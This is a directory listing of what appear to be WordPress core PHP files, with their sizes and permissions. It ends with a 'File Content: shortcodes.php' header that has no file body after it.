media.php	221182 bytes	0644
meta.php	65929 bytes	0644
ms-blogs.php	26531 bytes	0644
ms-default-constants.php	5607 bytes	0644
ms-default-filters.php	7322 bytes	0644
ms-deprecated.php	22445 bytes	0644
ms-files.php	3430 bytes	0644
ms-functions.php	92268 bytes	0644
ms-load.php	20569 bytes	0644
ms-network.php	4468 bytes	0644
ms-settings.php	4883 bytes	0644
ms-site.php	42006 bytes	0644
nav-menu-template.php	26676 bytes	0644
nav-menu.php	45059 bytes	0644
option.php	103751 bytes	0644
php.ini	105 bytes	0644
pluggable-deprecated.php	7010 bytes	0644
pluggable.php	123386 bytes	0644
plugin.php	37906 bytes	0644
post-formats.php	7788 bytes	0644
post-template.php	69334 bytes	0644
post-thumbnail-template.php	11565 bytes	0644
post.php	292398 bytes	0644
query.php	37721 bytes	0644
registration-functions.php	200 bytes	0644
registration.php	200 bytes	0644
rest-api.php	100943 bytes	0644
revision.php	31427 bytes	0644
rewrite.php	20227 bytes	0644
robots-template.php	5871 bytes	0644
rss-functions.php	255 bytes	0644
rss.php	23113 bytes	0644
script-loader.php	133948 bytes	0644
script-modules.php	8398 bytes	0644
session.php	258 bytes	0644
shortcodes.php	24737 bytes	0644
sitemaps.php	3924 bytes	0644
speculative-loading.php	9244 bytes	0644
spl-autoload-compat.php	441 bytes	0644
style-engine.php	8249 bytes	0644
taxonomy.php	176913 bytes	0644
template-canvas.php	1215 bytes	0644
template-loader.php	3698 bytes	0644
template.php	24840 bytes	0644
theme-i18n.json	1526 bytes	0644
theme-previews.php	3518 bytes	0644
theme-templates.php	6924 bytes	0644
theme.json	8704 bytes	0644
theme.php	134989 bytes	0644
update.php	38189 bytes	0644
user.php	176509 bytes	0644
vars.php	7248 bytes	0644
version.php	1776 bytes	0644
widgets.php	71405 bytes	0644
wp-db.php	445 bytes	0644
wp-diff.php	1485 bytes	0644

File Content: shortcodes.php

File Content: `shortcodes.php`